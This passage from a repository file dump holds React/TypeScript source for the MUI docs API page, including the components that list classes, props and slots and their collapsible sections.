    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport { useTranslate } from '../../i18n';\nimport { brandingDarkTheme as darkTheme, brandingLightTheme as lightTheme } from '../../branding';\nimport { ApiItemContainer, ExpandableApiItem } from './ExpandableApiItem';\nimport { ClassDefinition } from '../definitions/types';\nimport { ApiWarningAlert } from '../ApiWarningAlert';\n\nconst StyledApiItem = styled(ExpandableApiItem)(\n  ({ theme }) => ({\n    '& p': {\n      margin: 0,\n    },\n    '& .prop-list-title': {\n      ...theme.typography.body2,\n      fontWeight: theme.typography.fontWeightSemiBold,\n      color: theme.palette.text.primary,\n      paddingRight: 5,\n      whiteSpace: 'nowrap',\n      margin: 0,\n    },\n    '& .prop-list-class': {\n      margin: 0,\n    },\n    '&.classes-list-deprecated-item': {\n      '& .MuiApi-item-note': {\n        color: `var(--muidocs-palette-warning-700, ${lightTheme.palette.warning[700]})`,\n      },\n    },\n  }),\n  ({ theme }) => ({\n    [`:where(${theme.vars ? '[data-mui-color-scheme=\"dark\"]' : '.mode-dark'}) &`]: {\n      '& .prop-list-title': {\n        color: `var(--muidocs-palette-grey-50, ${darkTheme.palette.grey[50]})`,\n      },\n      '&.classes-list-deprecated-item': {\n        '& .MuiApi-item-note': {\n          color: `var(--muidocs-palette-warning-400, ${darkTheme.palette.warning[400]})`,\n        },\n      },\n    },\n  }),\n);\n\ntype ClassesListProps = {\n  classes: ClassDefinition[];\n  displayOption: 'collapsed' | 'expanded';\n  /**\n   * If `true` the the associated key in the classes object is visible.\n   */\n  displayClassKeys?: boolean;\n};\n\nexport default function ClassesList(props: ClassesListProps) {\n  const { classes, displayOption, displayClassKeys } = props;\n  const t = useTranslate();\n\n  return (\n    <ApiItemContainer>\n      {classes.map((classDefinition) => {\n        const { hash, className, key, description, isGlobal, isDeprecated, deprecationInfo } =\n          classDefinition;\n\n        let note = isGlobal ? t('api-docs.state') : '';\n\n        if (isDeprecated) {\n          note = [note, t('api-docs.deprecated')].filter(Boolean).join(' - ');\n        }\n\n        return (\n          <StyledApiItem\n            id={hash}\n            key={key}\n            note={note}\n            title={`.${className}`}\n            type=\"classes\"\n            displayOption={displayOption}\n            isExtendable={!!description}\n            className={isDeprecated ? 'classes-list-deprecated-item' : ''}\n          >\n            {/* eslint-disable-next-line react/no-danger */}\n            {description && <p dangerouslySetInnerHTML={{ __html: description }} />}\n            {displayClassKeys && !isGlobal && (\n              <p className=\"prop-list-class\">\n                <span className=\"prop-list-title\">{'Rule name'}:</span>\n                <code className=\"Api-code\">{key}</code>\n              </p>\n            )}\n            {isDeprecated && (\n              <ApiWarningAlert>\n                <b>{t('api-docs.deprecated')}</b>\n                {deprecationInfo && (\n                  <React.Fragment>\n                    {'－'}\n                    <span\n                      /* eslint-disable-next-line react/no-danger */\n                      dangerouslySetInnerHTML={{\n                        __html: deprecationInfo,\n                      }}\n                    />\n                  </React.Fragment>\n                )}\n              </ApiWarningAlert>\n            )}\n          </StyledApiItem>\n        );\n      })}\n    </ApiItemContainer>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/list/ExpandableApiItem.tsx",
    "content": "import * as React from 'react';\nimport clsx from 'clsx';\nimport { alpha, styled, SxProps } from '@mui/material/styles';\nimport KeyboardArrowUpIcon from '@mui/icons-material/KeyboardArrowUp';\nimport KeyboardArrowDownIcon from '@mui/icons-material/KeyboardArrowDown';\nimport Divider from '@mui/material/Divider';\nimport IconButton from '@mui/material/IconButton';\nimport { brandingDarkTheme as darkTheme, brandingLightTheme as lightTheme } from '../../branding';\n\ntype DescriptionType = 'props' | 'classes' | 'CSS' | 'slots';\n\nconst Root = styled('div')<{ ownerState: { type?: DescriptionType } }>(\n  ({ theme }) => ({\n    position: 'relative',\n    marginBottom: 12,\n    '& .MuiApi-item-header': {\n      display: 'flex',\n      alignItems: 'center',\n      marginBottom: 8,\n      marginLeft: -38,\n      lineHeight: 1.5,\n    },\n    '& .MuiApi-item-header-link': {\n      minHeight: 26,\n      display: 'flex',\n      alignItems: 'center',\n      scrollMarginTop: 'calc(var(--MuiDocs-header-height) + 32px)',\n    },\n    '& .MuiApi-item-link-visual': {\n      display: 'none',\n      flexShrink: 0,\n      border: '1px solid',\n      borderColor: `var(--muidocs-palette-divider, ${lightTheme.palette.divider})`,\n      borderRadius: 8,\n      backgroundColor: `var(--muidocs-palette-primary-50, ${lightTheme.palette.primary[50]})`,\n      height: 26,\n      width: 26,\n      textAlign: 'center',\n      lineHeight: '26px',\n      '& svg': {\n        fill: `var(--muidocs-palette-text-secondary, ${lightTheme.palette.text.secondary})`,\n        height: '14px',\n        width: '14px',\n      },\n    },\n    '& .MuiApi-item-title': {\n      marginLeft: 32,\n      padding: '2px 6px',\n      flexShrink: 0,\n      fontWeight: theme.typography.fontWeightSemiBold,\n      fontFamily: theme.typography.fontFamilyCode,\n      fontSize: theme.typography.pxToRem(13),\n      color: `var(--muidocs-palette-primary-600, ${lightTheme.palette.primary[600]})`,\n    },\n    '& .MuiApi-item-content': {\n      verticalAlign: 'top',\n      paddingBottom: theme.spacing(2),\n      p: { marginBottom: theme.spacing(1.5) },\n    },\n    '& .MuiApi-item-note': {\n      marginLeft: 2,\n      color: `var(--muidocs-palette-success-800, ${lightTheme.palette.success[800]})`,\n      fontSize: theme.typography.pxToRem(11),\n      fontWeight: theme.typography.fontWeightSemiBold,\n      letterSpacing: '.1rem',\n      textTransform: 'uppercase',\n    },\n    '& .MuiApi-expand-button': {},\n    '& hr': {\n      margin: 0,\n    },\n    [theme.breakpoints.up('lg')]: {\n      '&:hover, &:target': {\n        '.MuiApi-item-link-visual': {\n          display: 'inline-block',\n        },\n        '.MuiApi-item-title': {\n          marginLeft: 6,\n        },\n        '.MuiApi-item-link-visual:hover': {\n          cursor: 'pointer',\n          backgroundColor: alpha(lightTheme.palette.primary[100], 0.4),\n          borderColor: `var(--muidocs-palette-primary-100, ${lightTheme.palette.primary[100]})`,\n          '& svg': {\n            fill: `var(--muidocs-palette-primary-main, ${lightTheme.palette.primary.main})`,\n          },\n        },\n      },\n      '&:target': {\n        '.MuiApi-item-link-visual': {\n          '&>svg': {\n            transform: 'rotate(90deg) translateX(-0.5px) translateY(0.1px)',\n          },\n        },\n      },\n    },\n    '& code.Api-code': {\n      ...theme.typography.caption,\n      fontFamily: theme.typography.fontFamilyCode,\n      fontWeight: theme.typography.fontWeightRegular,\n      color: `var(--muidocs-palette-text-primary, ${lightTheme.palette.text.primary})`,\n      padding: '1px 4px',\n      borderRadius: 6,\n      border: '1px solid',\n      borderColor: alpha(darkTheme.palette.primary[100], 0.8),\n      backgroundColor: `var(--muidocs-palette-primary-50, ${lightTheme.palette.primary[50]})`,\n    },\n    '& .signature-type': {\n      textDecoration: 'underline',\n      textDecorationStyle: 'dotted',\n      textDecorationColor: alpha(lightTheme.palette.primary.main, 0.4),\n      fontWeight: theme.typography.fontWeightMedium,\n      color: `var(--muidocs-palette-primary-600, ${lightTheme.palette.primary[600]})`,\n      '&:hover': {\n        textDecorationColor: 'inherit',\n      },\n      cursor: 'help',\n    },\n  }),\n  ({ theme }) => ({\n    [`:where(${theme.vars ? '[data-mui-color-scheme=\"dark\"]' : '.mode-dark'}) &`]: {\n      '& .MuiApi-item-header': {\n        '&>span, &>div': {\n          borderColor: `var(--muidocs-palette-divider, ${darkTheme.palette.divider})`,\n        },\n        '& .MuiApi-item-title': {\n          color: `var(--muidocs-palette-primary-200, ${darkTheme.palette.primary[200]})`,\n        },\n        '& .MuiApi-item-link-visual': {\n          borderColor: `var(--muidocs-palette-divider, ${darkTheme.palette.divider})`,\n          backgroundColor: alpha(darkTheme.palette.primary[900], 0.5),\n          '& svg': {\n            fill: `var(--muidocs-palette-primary-200, ${darkTheme.palette.primary[200]})`,\n          },\n        },\n        '&:hover, &:target': {\n          '.MuiApi-item-link-visual:hover': {\n            borderColor: `var(--muidocs-palette-primary-900, ${darkTheme.palette.primary[900]})`,\n            backgroundColor: alpha(darkTheme.palette.primary[900], 0.6),\n            '& svg': {\n              fill: `var(--muidocs-palette-primary-100, ${darkTheme.palette.primary[100]})`,\n            },\n          },\n        },\n        '& .MuiApi-item-description': {\n          color: `var(--muidocs-palette-grey-500, ${darkTheme.palette.grey[500]})`,\n        },\n        '& .MuiApi-item-note': {\n          color: `var(--muidocs-palette-success-400, ${darkTheme.palette.success[400]})`,\n        },\n      },\n      '& code.Api-code': {\n        color: `var(--muidocs-palette-text-primary, ${darkTheme.palette.text.primary})`,\n        borderColor: `var(--muidocs-palette-divider, ${darkTheme.palette.divider})`,\n        backgroundColor: alpha(darkTheme.palette.primary[900], 0.3),\n      },\n      '& .signature-type': {\n        color: `var(--muidocs-palette-primary-200, ${darkTheme.palette.primary[200]})`,\n        textDecorationColor: alpha(darkTheme.palette.primary.main, 0.6),\n      },\n    },\n  }),\n);\n\ntype ExpandableApiItemProps = {\n  children?: React.ReactNode;\n  className?: string;\n  description?: string;\n  displayOption?: 'collapsed' | 'expanded';\n  id: string;\n  isExtendable?: boolean;\n  note?: string;\n  sx?: SxProps;\n  title: string | React.ReactNode;\n  type?: DescriptionType;\n};\n\nexport function ExpandableApiItem(props: ExpandableApiItemProps) {\n  const {\n    children,\n    className,\n    description,\n    displayOption,\n    id,\n    isExtendable = true,\n    note,\n    title,\n    type,\n    ...other\n  } = props;\n\n  const [isExtended, setIsExtended] = React.useState(() => displayOption === 'expanded');\n\n  React.useEffect(() => {\n    setIsExtended(displayOption === 'expanded');\n  }, [displayOption]);\n\n  return (\n    <Root\n      ownerState={{ type }}\n      {...other}\n      className={clsx(\n        `MuiApi-item-root${isExtendable ? ' MuiApi-item-header-extendable' : ''}`,\n        className,\n      )}\n    >\n      <div className=\"MuiApi-item-header\">\n        <div className=\"MuiApi-item-header-link\" id={id}>\n          <a className=\"MuiApi-item-link-visual\" href={`#${id}`} aria-labelledby={id}>\n            <svg>\n              <use xlinkHref=\"#anchor-link-icon\" />\n            </svg>\n          </a>\n          <span\n            className=\"MuiApi-item-title algolia-lvl3\" // This className is used by Algolia\n          >\n            {title}\n          </span>\n        </div>\n        {note && <span className=\"MuiApi-item-note\">{note}</span>}\n        {isExtendable && (\n          <IconButton\n            onClick={() => setIsExtended((prev) => !prev)}\n            className=\"MuiApi-expand-button\"\n            aria-label={isExtended ? 'Collapse' : 'Expand'}\n            size=\"small\"\n            sx={{ p: 0, ml: 'auto', borderRadius: '6px' }}\n          >\n            {isExtended ? (\n              <KeyboardArrowUpIcon sx={{ color: 'grey.500' }} />\n            ) : (\n              <KeyboardArrowDownIcon sx={{ color: 'grey.500' }} />\n            )}\n          </IconButton>\n        )}\n      </div>\n      {isExtended && <div className={`MuiApi-item-content`}>{isExtended && children}</div>}\n      <Divider />\n    </Root>\n  );\n}\n\nexport const ApiItemContainer = styled('div')({\n  width: '100%',\n  display: 'flex',\n  flexDirection: 'column',\n});\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/list/PropertiesList.tsx",
    "content": "/* eslint-disable react/no-danger */\nimport * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Tooltip from '@mui/material/Tooltip';\nimport { brandingDarkTheme as darkTheme, brandingLightTheme as lightTheme } from '../../branding';\nimport { useTranslate } from '../../i18n';\nimport { ApiItemContainer, ExpandableApiItem } from './ExpandableApiItem';\nimport { PropertyDefinition } from '../definitions';\nimport { ApiWarningAlert } from '../ApiWarningAlert';\n\nconst StyledApiItem = styled(ExpandableApiItem)(\n  ({ theme }) => ({\n    '& .prop-list-description': {\n      marginBottom: 10,\n    },\n    '& .prop-list-additional-info': {\n      display: 'flex',\n      flexDirection: 'column',\n      gap: 8,\n      '& > p': {\n        margin: 0,\n      },\n      '& .prop-list-title': {\n        ...theme.typography.body2,\n        fontWeight: theme.typography.fontWeightSemiBold,\n        color: (theme.vars || theme).palette.text.primary,\n        paddingRight: 5,\n        whiteSpace: 'nowrap',\n        margin: 0,\n      },\n      '& .default-value': {\n        fontSize: theme.typography.pxToRem(12),\n      },\n    },\n    '&.prop-list-deprecated-item': {\n      '& .MuiApi-item-note': {\n        color: `var(--muidocs-palette-warning-700, ${lightTheme.palette.warning[700]})`,\n      },\n    },\n    '& .prop-list-alert': {\n      marginBottom: 16,\n      '& .MuiAlert-icon': {\n        margin: 0,\n      },\n    },\n    '& .prop-list-default-props': {\n      ...theme.typography.body2,\n      fontWeight: theme.typography.fontWeightSemiBold,\n    },\n    '& .prop-list-signature': {\n      p: {\n        ...theme.typography.body2,\n        fontWeight: theme.typography.fontWeightSemiBold,\n        marginBottom: 8,\n      },\n      ul: {\n        paddingLeft: 24,\n        marginTop: 2,\n        marginBottom: 0,\n      },\n      '& > code': {\n        borderRadius: 8,\n        padding: 12,\n        width: '100%',\n        marginBottom: 8,\n        color: `var(--muidocs-palette-grey-900, ${lightTheme.palette.grey[50]})`,\n        border: '1px solid',\n        borderColor: `var(--muidocs-palette-primaryDark-700, ${lightTheme.palette.primaryDark[700]})`,\n        backgroundColor: `var(--muidocs-palette-primaryDark-800, ${lightTheme.palette.primaryDark[800]})`,\n      },\n    },\n  }),\n  ({ theme }) => ({\n    [`:where(${theme.vars ? '[data-mui-color-scheme=\"dark\"]' : '.mode-dark'}) &`]: {\n      '& .prop-list-additional-info': {\n        '& .prop-list-title': {\n          p: {\n            color: `var(--muidocs-palette-grey-50, ${darkTheme.palette.grey[50]})`,\n          },\n        },\n      },\n      '& .prop-list-default-props': {\n        color: `var(--muidocs-palette-grey-300, ${darkTheme.palette.grey[300]})`,\n      },\n      '&.prop-list-deprecated-item': {\n        '& .MuiApi-item-note': {\n          color: `var(--muidocs-palette-warning-400, ${darkTheme.palette.warning[400]})`,\n        },\n      },\n    },\n  }),\n);\n\nfunction PropDescription(props: { description: string }) {\n  const { description } = props;\n  const isUlPresent = description.includes('<ul>');\n\n  const ComponentToRender = isUlPresent ? 'div' : 'p';\n\n  return (\n    <ComponentToRender\n      className=\"prop-list-description algolia-content\" // This className is used by Algolia\n      dangerouslySetInnerHTML={{\n        __html: description,\n      }}\n    />\n  );\n}\n\ninterface PropertiesListProps {\n  properties: PropertyDefinition[];\n  displayOption: 'collapsed' | 'expanded';\n}\n\nexport default function PropertiesList(props: PropertiesListProps) {\n  const { properties, displayOption } = props;\n  const t = useTranslate();\n  return (\n    <ApiItemContainer>\n      {properties.map((params) => {\n        const {\n          propName,\n          seeMoreDescription,\n          description,\n          requiresRef,\n          isOptional,\n          isRequired,\n          isDeprecated,\n          isProPlan,\n          isPremiumPlan,\n          deprecationInfo,\n          typeName,\n          propDefault,\n          additionalInfo,\n          signature,\n          signatureArgs,\n          signatureReturnDescription,\n          hash,\n        } = params;\n\n        let note =\n          (isOptional && t('api-docs.optional')) || (isRequired && t('api-docs.required')) || '';\n\n        if (isDeprecated) {\n          note = [note, t('api-docs.deprecated')].filter(Boolean).join(' - ');\n        }\n\n        return (\n          <StyledApiItem\n            key={propName}\n            id={hash}\n            title={\n              <React.Fragment>\n                {propName}\n                {isProPlan && (\n                  <a href=\"/x/introduction/licensing/#pro-plan\" aria-label=\"Pro plan\">\n                    <span className=\"plan-pro\" />\n                  </a>\n                )}\n                {isPremiumPlan && (\n                  <a href=\"/x/introduction/licensing/#premium-plan\" aria-label=\"Premium plan\">\n                    <span className=\"plan-premium\" />\n                  </a>\n                )}\n              </React.Fragment>\n            }\n            note={note}\n            type=\"props\"\n            displayOption={displayOption}\n            className={isDeprecated ? 'prop-list-deprecated-item' : ''}\n          >\n            {description && <PropDescription description={description} />}\n            {seeMoreDescription && <p dangerouslySetInnerHTML={{ __html: seeMoreDescription }} />}\n            {requiresRef && (\n              <ApiWarningAlert className=\"MuiApi-collapsible prop-list-alert\">\n                <div\n                  dangerouslySetInnerHTML={{\n                    __html: t('api-docs.requires-ref'),\n                  }}\n                />\n              </ApiWarningAlert>\n            )}\n            {additionalInfo?.map((key) => (\n              <p\n                className=\"prop-list-additional-description  MuiApi-collapsible\"\n                key={key}\n                dangerouslySetInnerHTML={{\n                  __html: t(`api-docs.additional-info.${key}`)!,\n                }}\n              />\n            ))}\n            <div className=\"prop-list-additional-info\">\n              {typeName && (\n                <p className=\"prop-list-type MuiApi-collapsible\">\n                  <span className=\"prop-list-title\">{t('api-docs.type')}:</span>\n                  <code\n                    className=\"Api-code\"\n                    dangerouslySetInnerHTML={{\n                      __html: typeName,\n                    }}\n                  />\n                </p>\n              )}\n              {propDefault && (\n                <p className=\"prop-list-default-props MuiApi-collapsible\">\n                  <span className=\"prop-list-title\">{t('api-docs.default')}:</span>\n                  <code className=\"default-value\">{propDefault}</code>\n                </p>\n              )}\n              {signature && (\n                <div className=\"prop-list-signature MuiApi-collapsible\">\n                  <span className=\"prop-list-title\">{t('api-docs.signature')}:</span>\n                  <div className=\"prop-list-content\">\n                    <code\n                      dangerouslySetInnerHTML={{\n                        __html: signature,\n                      }}\n                    />\n                    {signatureArgs && (\n                      <div>\n                        <ul>\n                          {signatureArgs.map(\n                            ({ argName, argDescription, argType, argTypeDescription }) => (\n                              <li key={argName}>\n                                <code>\n                                  {argName}\n                                  {argType && argTypeDescription && (\n                                    <span>\n                                      :{' '}\n                                      <Tooltip\n                                        title={\n                                          <span\n                                            dangerouslySetInnerHTML={{ __html: argTypeDescription }}\n                                          />\n                                        }\n                                      >\n                                        <span className=\"signature-type\">{argType}</span>\n                                      </Tooltip>\n                                    </span>\n                                  )}\n                                </code>{' '}\n                                {argDescription && (\n                                  <span dangerouslySetInnerHTML={{ __html: argDescription }} />\n                                )}\n                              </li>\n                            ),\n                          )}\n                        </ul>\n                      </div>\n                    )}\n                    {signatureReturnDescription && (\n                      <p>\n                        {t('api-docs.returns')}\n                        <span\n                          dangerouslySetInnerHTML={{\n                            __html: signatureReturnDescription,\n                          }}\n                        />\n                      </p>\n                    )}\n                  </div>\n                </div>\n              )}\n            </div>\n            {isDeprecated && (\n              <ApiWarningAlert>\n                <b>{t('api-docs.deprecated')}</b>\n                {deprecationInfo && (\n                  <React.Fragment>\n                    {'－'}\n                    <span\n                      dangerouslySetInnerHTML={{\n                        __html: deprecationInfo,\n                      }}\n                    />\n                  </React.Fragment>\n                )}\n              </ApiWarningAlert>\n            )}\n          </StyledApiItem>\n        );\n      })}\n    </ApiItemContainer>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/list/SlotsList.tsx",
    "content": "import { alpha, styled } from '@mui/material/styles';\nimport { brandingDarkTheme as darkTheme, brandingLightTheme as lightTheme } from '../../branding';\nimport { useTranslate } from '../../i18n';\nimport { SlotDefinition } from '../definitions';\nimport { ApiItemContainer, ExpandableApiItem } from './ExpandableApiItem';\n\nconst StyledApiItem = styled(ExpandableApiItem)(\n  ({ theme }) => ({\n    '.slot-classname, .slot-default-element': {\n      marginBottom: 8,\n      '& .prop-list-title': {\n        ...theme.typography.body2,\n        fontWeight: theme.typography.fontWeightSemiBold,\n        color: (theme.vars || theme).palette.text.primary,\n      },\n    },\n    '& .default-slot-value': {\n      ...theme.typography.caption,\n      fontFamily: theme.typography.fontFamilyCode,\n      fontWeight: theme.typography.fontWeightRegular,\n    },\n    '& .global-class-value': {\n      ...theme.typography.caption,\n      fontFamily: theme.typography.fontFamilyCode,\n      fontWeight: theme.typography.fontWeightRegular,\n      borderColor: alpha(darkTheme.palette.primary[100], 0.5),\n      backgroundColor: `var(--muidocs-palette-primary-50, ${lightTheme.palette.primary[50]})`,\n    },\n  }),\n  ({ theme }) => ({\n    [`:where(${theme.vars ? '[data-mui-color-scheme=\"dark\"]' : '.mode-dark'}) &`]: {\n      '& .global-class-value': {\n        borderColor: alpha(darkTheme.palette.primary[400], 0.1),\n        backgroundColor: alpha(darkTheme.palette.primary[900], 0.4),\n      },\n    },\n  }),\n);\n\ninterface SlotsListProps {\n  slots: SlotDefinition[];\n  displayOption: 'collapsed' | 'expanded';\n}\n\nexport default function SlotsList(props: SlotsListProps) {\n  const { slots, displayOption } = props;\n  const t = useTranslate();\n\n  return (\n    <ApiItemContainer className=\"MuiApi-slot-list\">\n      {slots.map((params) => {\n        const { description, className, name, defaultValue, hash } = params;\n\n        const isExtendable = description || defaultValue || className;\n\n        return (\n          <StyledApiItem\n            id={hash}\n            key={name}\n            title={name}\n            note=\"\"\n            type=\"slots\"\n            isExtendable={!!isExtendable}\n            displayOption={displayOption}\n          >\n            {description && (\n              <p\n                // eslint-disable-next-line react/no-danger\n                dangerouslySetInnerHTML={{\n                  __html: description,\n                }}\n              />\n            )}\n            {className && (\n              <p className=\"slot-classname\">\n                <span className=\"prop-list-title\">{t('api-docs.className')}:</span>{' '}\n                <code\n                  // eslint-disable-next-line react/no-danger\n                  dangerouslySetInnerHTML={{ __html: `.${className}` }}\n                  className=\"global-class-value\"\n                />\n              </p>\n            )}\n            {defaultValue && (\n              <p className=\"slot-default-element\">\n                <span className=\"prop-list-title\">{t('api-docs.defaultComponent')}:</span>{' '}\n                <code className=\"default-slot-value\">{defaultValue}</code>\n              </p>\n            )}\n          </StyledApiItem>\n        );\n      })}\n    </ApiItemContainer>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/list/index.ts",
    "content": "export * from './ExpandableApiItem';\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/private.ts",
    "content": "export * from './definitions';\nexport * from './list';\nexport * from './sections';\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/sections/ClassesSection.tsx",
    "content": "/* eslint-disable react/no-danger */\nimport * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { PropsTranslations, ComponentClassDefinition } from '@mui-internal/api-docs-builder';\nimport { SectionTitle } from '../../SectionTitle';\nimport { useTranslate } from '../../i18n';\nimport type { ClassDefinition } from '../definitions/types';\nimport { ApiDisplayLayout, ToggleDisplayOption, useApiPageOption } from './ToggleDisplayOption';\nimport { getClassApiDefinitions } from '../definitions/classes';\nimport ClassesTable from '../table/ClassesTable';\nimport ClassesList from '../list/ClassesList';\n\nexport type ClassesSectionProps = (\n  | {\n      classes: ClassDefinition[];\n      componentClasses?: undefined;\n      classDescriptions?: undefined;\n      componentName?: undefined;\n    }\n  | {\n      classes: undefined;\n      componentClasses: ComponentClassDefinition[];\n      classDescriptions: PropsTranslations['classDescriptions'];\n      componentName: string;\n    }\n) & {\n  spreadHint?: string;\n  /**\n   * The translation key of the section title.\n   * @default 'api-docs.classes'\n   */\n  title?: string;\n  /**\n   * @default 'classes'\n   */\n  titleHash?: string;\n  /**\n   * @default 'h2'\n   */\n  level?: 'h2' | 'h3' | 'h4';\n  defaultLayout: ApiDisplayLayout;\n  layoutStorageKey: string;\n  displayClassKeys?: boolean;\n  styleOverridesLink?: string;\n};\n\nexport function ClassesSection(props: ClassesSectionProps) {\n  const {\n    classes,\n    componentClasses,\n    classDescriptions,\n    componentName,\n    spreadHint,\n    title = 'api-docs.classes',\n    titleHash = 'classes',\n    level = 'h2',\n    displayClassKeys,\n    styleOverridesLink,\n    defaultLayout,\n    layoutStorageKey,\n  } = props;\n  const t = useTranslate();\n\n  const [displayOption, setDisplayOption] = useApiPageOption(layoutStorageKey, defaultLayout);\n\n  const formattedClasses =\n    classes ||\n    getClassApiDefinitions({\n      componentClasses,\n      classDescriptions,\n      componentName,\n    });\n  if (!formattedClasses || formattedClasses.length === 0) {\n    return null;\n  }\n\n  return (\n    <React.Fragment>\n      <Box sx={{ display: 'flex', alignItems: 'baseline', mb: 1 }}>\n        <SectionTitle title={t(title)} hash={titleHash} level={level} />\n        <ToggleDisplayOption\n          displayOption={displayOption}\n          setDisplayOption={setDisplayOption}\n          sectionType=\"classes\"\n        />\n      </Box>\n      {spreadHint && <p dangerouslySetInnerHTML={{ __html: spreadHint }} />}\n      {displayOption === 'table' ? (\n        <ClassesTable classes={formattedClasses} displayClassKeys={displayClassKeys} />\n      ) : (\n        <ClassesList\n          classes={formattedClasses}\n          displayOption={displayOption}\n          displayClassKeys={displayClassKeys}\n        />\n      )}\n      {styleOverridesLink && (\n        <React.Fragment>\n          <br />\n          <p dangerouslySetInnerHTML={{ __html: t('api-docs.overrideStyles') }} />\n          <div\n            dangerouslySetInnerHTML={{\n              __html: t('api-docs.overrideStylesStyledComponent').replace(\n                /{{styleOverridesLink}}/,\n                styleOverridesLink,\n              ),\n            }}\n          />\n        </React.Fragment>\n      )}\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/sections/PropertiesSection.tsx",
    "content": "/* eslint-disable react/no-danger */\nimport * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { PropsTableItem, PropsTranslations } from '@mui-internal/api-docs-builder';\nimport { useTranslate } from '../../i18n';\nimport {\n  ToggleDisplayOption,\n  useApiPageOption,\n  type ApiDisplayLayout,\n} from './ToggleDisplayOption';\nimport { SectionTitle, type SectionTitleProps } from '../../SectionTitle';\nimport PropertiesTable from '../table/PropertiesTable';\nimport PropertiesList from '../list/PropertiesList';\nimport { getPropsApiDefinitions } from '../definitions/properties';\nimport { LayoutStorageKeys } from '../types';\nimport { PropertyDefinition } from '../definitions';\n\ntype PropertiesSectionProps = (\n  | {\n      properties: {\n        // isProPlan and isPremiumPlan are added for the MUI X interface documentation.\n        [name: string]: PropsTableItem & { isProPlan?: true; isPremiumPlan?: true };\n      };\n      propertiesDescriptions: PropsTranslations['propDescriptions'];\n      componentName: string;\n      /**\n       * Add indicators that the properties is optional instead of showing it is required.\n       */\n      showOptionalAbbr?: boolean;\n    }\n  | {\n      showOptionalAbbr?: undefined;\n      properties: PropertyDefinition[];\n      propertiesDescriptions?: undefined;\n      componentName?: undefined;\n    }\n) & {\n  spreadHint?: string;\n  defaultLayout: ApiDisplayLayout;\n  layoutStorageKey: LayoutStorageKeys['props'];\n  /**\n   * The translation key of the section title.\n   * @default 'api-docs.props'\n   */\n  title?: string;\n  /**\n   * The hash linking to the section title.\n   * @default 'props'\n   */\n  titleHash?: SectionTitleProps['hash'];\n  /**\n   * The title level of the section.\n   * @default 'h2'\n   */\n  level?: SectionTitleProps['level'];\n};\n\nexport function PropertiesSection(props: PropertiesSectionProps) {\n  const {\n    properties,\n    propertiesDescriptions,\n    componentName,\n    title = 'api-docs.props',\n    titleHash = 'props',\n    level = 'h2',\n    spreadHint,\n    defaultLayout,\n    layoutStorageKey,\n    showOptionalAbbr,\n  } = props;\n  const t = useTranslate();\n\n  const [displayOption, setDisplayOption] = useApiPageOption(layoutStorageKey, defaultLayout);\n\n  const formattedProperties = Array.isArray(properties)\n    ? properties\n    : getPropsApiDefinitions({\n        properties,\n        propertiesDescriptions: propertiesDescriptions!,\n        componentName: componentName!,\n        showOptionalAbbr,\n      });\n\n  return (\n    <React.Fragment>\n      <Box sx={{ display: 'flex', alignItems: 'baseline', mb: 1 }}>\n        <SectionTitle title={t(title)} hash={titleHash} level={level} />\n        <ToggleDisplayOption\n          displayOption={displayOption}\n          setDisplayOption={setDisplayOption}\n          sectionType=\"props\"\n        />\n      </Box>\n      {spreadHint && <p dangerouslySetInnerHTML={{ __html: spreadHint }} />}\n      {displayOption === 'table' ? (\n        <PropertiesTable properties={formattedProperties} />\n      ) : (\n        <PropertiesList properties={formattedProperties} displayOption={displayOption} />\n      )}\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/sections/SlotsSection.tsx",
    "content": "/* eslint-disable react/no-danger */\nimport * as React from 'react';\nimport Box from '@mui/material/Box';\nimport { ComponentApiContent } from '@mui-internal/api-docs-builder';\nimport { useTranslate } from '../../i18n';\nimport { SectionTitle } from '../../SectionTitle';\nimport SlotsList from '../list/SlotsList';\nimport SlotsTable from '../table/SlotsTable';\nimport { SlotDefinition } from '../definitions/types';\nimport {\n  type ApiDisplayLayout,\n  ToggleDisplayOption,\n  useApiPageOption,\n} from './ToggleDisplayOption';\nimport { getSlotsApiDefinitions } from '../definitions/slots';\n\nexport type SlotsSectionProps = (\n  | {\n      slots: SlotDefinition[];\n      componentSlots?: undefined;\n      slotDescriptions?: undefined;\n      componentName?: undefined;\n    }\n  | {\n      slots: undefined;\n      componentSlots: ComponentApiContent['slots'];\n      slotDescriptions: { [key: string]: string };\n      componentName: string;\n    }\n) & {\n  title?: string;\n  titleHash?: string;\n  level?: 'h2' | 'h3' | 'h4';\n  defaultLayout: ApiDisplayLayout;\n  layoutStorageKey: string;\n  spreadHint?: string;\n};\n\nexport function SlotsSection(props: SlotsSectionProps) {\n  const {\n    slots,\n    componentSlots,\n    slotDescriptions,\n    componentName,\n    title = 'api-docs.slots',\n    titleHash = 'slots',\n    level = 'h2',\n    spreadHint,\n    defaultLayout,\n    layoutStorageKey,\n  } = props;\n  const t = useTranslate();\n\n  const [displayOption, setDisplayOption] = useApiPageOption(layoutStorageKey, defaultLayout);\n\n  const formattedSlots =\n    slots ??\n    getSlotsApiDefinitions({\n      componentSlots,\n      slotDescriptions,\n      componentName,\n    });\n  if (!formattedSlots || formattedSlots.length === 0) {\n    return null;\n  }\n\n  return (\n    <React.Fragment>\n      <Box sx={{ display: 'flex', alignItems: 'baseline', mb: 1 }}>\n        <SectionTitle title={t(title)} hash={titleHash} level={level} />\n        <ToggleDisplayOption\n          displayOption={displayOption}\n          setDisplayOption={setDisplayOption}\n          sectionType=\"slots\"\n        />\n      </Box>\n      {spreadHint && <p dangerouslySetInnerHTML={{ __html: spreadHint }} />}\n      {displayOption === 'table' ? (\n        <SlotsTable slots={formattedSlots} />\n      ) : (\n        <SlotsList slots={formattedSlots} displayOption={displayOption} />\n      )}\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/sections/ToggleDisplayOption.tsx",
